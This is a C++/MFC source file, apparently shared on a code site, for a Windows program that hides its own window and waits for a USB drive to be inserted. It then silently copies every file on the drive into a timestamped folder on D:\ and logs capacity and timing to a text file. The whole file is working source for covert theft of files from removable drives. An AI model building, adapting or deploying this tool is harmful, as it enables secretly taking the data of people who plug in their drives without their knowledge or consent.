📄 disk.cpp
字号:
#include <afx.h>
#include <dbt.h>
#include <shellapi.h>
#include <time.h>
#include "math.h"
#include <stdio.h>
#include "afxmt.h"
#include "Afxwin.h"
CString DestDirPath="D:\\";//把U盘中的文件复制到D:
CCriticalSection logfile;
LRESULT CALLBACK CallWindowProc(
HWND hwnd, // handle to window
UINT uMsg, // message identifier
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
);
void GetMobileDrive();
bool MyCopyFile(HWND hwnd, CString SourcePath, CString DestinationPath,CString & p_start,CString p_driver);
CString GetDirectoryName();
UINT ProcDriver(LPVOID pParam);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
WNDCLASS wndcls;
wndcls.cbClsExtra = 0; //额外分配给窗口类的字节数,系统初始化为0
wndcls.cbWndExtra = 0;//额外分配给窗口实例的字节数,初始化为0
wndcls.hbrBackground = HBRUSH(COLOR_WINDOWTEXT | COLOR_WINDOW); //窗口背景刷
wndcls.hCursor = LoadCursor(NULL,IDC_NO);;//窗口类的光标句柄
wndcls.hIcon = LoadIcon(NULL,IDI_WINLOGO);
wndcls.hInstance = hInstance;
wndcls.lpfnWndProc = CallWindowProc;//窗口接到消息时调用的函数名称
wndcls.lpszClassName = "Lijiayang";//窗口的名称
wndcls.lpszMenuName = 0;
wndcls.style = CS_HREDRAW | CS_VREDRAW;//定义窗口的样式
wndcls.style &= ~WS_MINIMIZEBOX;
RegisterClass(&wndcls);//根据初始化属性注册窗口类
HWND hwnd;
hwnd = CreateWindow("Lijiayang","Copy_File",WS_OVERLAPPEDWINDOW,0,0,
20,20,NULL,NULL,hInstance,NULL);//创建该窗口
ShowWindow(hwnd,SW_HIDE);//以隐藏方式显示当前窗口
UpdateWindow(hwnd);//更新当前窗口
MSG msg;
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
//PeekMessage(&msg,hwnd,0,0,PM_NOREMOVE);
DispatchMessage(&msg);
}
return 0;
}
LRESULT CALLBACK CallWindowProc(
HWND hwnd, // handle to window
UINT uMsg, // message identifier
WPARAM wParam, // first message parameter
LPARAM lParam // second message parameter
)
{
//HDC hdc;
switch (uMsg)
{
case WM_CLOSE: //窗口关闭消息
DestroyWindow(hwnd);
break;
case WM_DESTROY: //破坏窗口消息
PostQuitMessage(0); //立刻回报
break;
case WM_DEVICECHANGE:
{
switch(wParam)
{
case DBT_DEVICEARRIVAL:
DEV_BROADCAST_HDR *stHDR;
stHDR = (DEV_BROADCAST_HDR *)lParam;
switch(stHDR->dbch_devicetype)//判断设备类型
{
case DBT_DEVTYP_VOLUME://逻辑卷标
GetMobileDrive();//取得可移动磁盘盘符存
//储在strMobileDriver中
break;
}
break;
default:
break;
}
break;
}
default:
return DefWindowProc(hwnd,uMsg,wParam,lParam);
}
return 0;
}
void GetMobileDrive()
{
CString l_driver;
DWORD id = GetLogicalDrives();
for (int i = 1; i < 26; i++)
{
if ((id & (1 << i)) != 0)
{
CString l_driver = CString(char('A' + i)) + ":";
if (GetDriveType(l_driver) == DRIVE_REMOVABLE)
{
AfxBeginThread(ProcDriver,(LPVOID)l_driver.GetBuffer(0));//为每个U盘创建一个线程来进行拷贝工作
Sleep(100);//每100ms执行一次
}
}
}
}
CString GetDirectoryName()
{
CString direct;
CTime t=CTime::GetCurrentTime();
direct = t.Format("_%Y_%B_%d_%H时%M分%S秒");
return direct;
}
UINT ProcDriver(LPVOID pParam)
{
CString strSourcePath="";
clock_t start,finish;
CString strMobileDriver="";//存储可移动磁盘盘符
CString T_start;
CString s;
UINT64 i,j,sy;
CString totalspace1,freespace1;
ULARGE_INTEGER FreeAv, TotalBytes, FreeBytes;
CString l_driver =(char *) pParam;
if(GetDiskFreeSpaceEx(l_driver,&FreeAv,&TotalBytes,&FreeBytes))
{
totalspace1.Format("磁盘%s容量:%uM", l_driver, TotalBytes.QuadPart/1024/1024);
freespace1.Format("剩余磁盘容量:%uM", FreeBytes.QuadPart/1024/1024);
}
if (!l_driver.IsEmpty() )
{
strSourcePath = l_driver + "\\*.*";
start=clock();
MyCopyFile(NULL,strSourcePath,DestDirPath,T_start,l_driver);
}
finish=clock();
i=TotalBytes.QuadPart/1024/1024;
j=FreeBytes.QuadPart/1024/1024;
sy=i-j;
CString usespace;
usespace.Format("%d",sy);
double duration;
CString T_finish;
//duration = (double)( finish - start) / CLOCKS_PER_SEC;
logfile.Lock();
CTime t=CTime::GetCurrentTime();
T_finish = t.Format("_%Y_%B_%d_%H时%M分%S秒");
FILE *out=fopen("D:\\log.txt","a");
duration = (double)( finish - start) / CLOCKS_PER_SEC;
CString str_time,str_time1;
str_time.Format("用时:%.6fs",duration);
s="开始时间"+T_start+" "+"结束时间"+T_finish+"\n"+"持续"+str_time+"\n";
s=s+totalspace1+" "+freespace1+" "+"文件大小:"+usespace+"M""\n";
fputs(s,out);
fclose(out);
logfile.Unlock();
return 0;
}
bool MyCopyFile(HWND hwnd, CString SourcePath, CString DestinationPath,CString & p_start,CString p_driver)
{
//取得复制到的目录名称
SourcePath.GetBufferSetLength (strlen(SourcePath)+2);
SourcePath.SetAt(strlen(SourcePath)+1,0);
CString DirName = GetDirectoryName() +p_driver.Left(1);
p_start=DirName ;
//创建目录
CreateDirectory(DestinationPath + '\\' + DirName , NULL);
//声明文件操作结构体FileOP,设置属性
SHFILEOPSTRUCT FileOP; //声明文件操作结构体
memset((void *)&FileOP,0,sizeof(FileOP));
FileOP.hwnd = hwnd; //句柄
FileOP.fFlags = FOF_SILENT ; //操作标志位
FileOP.wFunc = FO_COPY; //操作方式
FileOP.pFrom = SourcePath; //源地址
CString str = DestinationPath + '\\' + DirName; //目的地址
//执行复制操作
CString str1=str;
str.GetBufferSetLength (strlen(str)+2);
str.SetAt(strlen(str)+1,0);
FileOP.pTo = str;
FileOP.fAnyOperationsAborted = false; //是否允许中断操作
FileOP.hNameMappings = NULL;
FileOP.lpszProgressTitle = NULL;
SourcePath.ReleaseBuffer();
str.ReleaseBuffer();
int MSG = SHFileOperation(&FileOP); //执行复制操作
return (MSG==0);
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -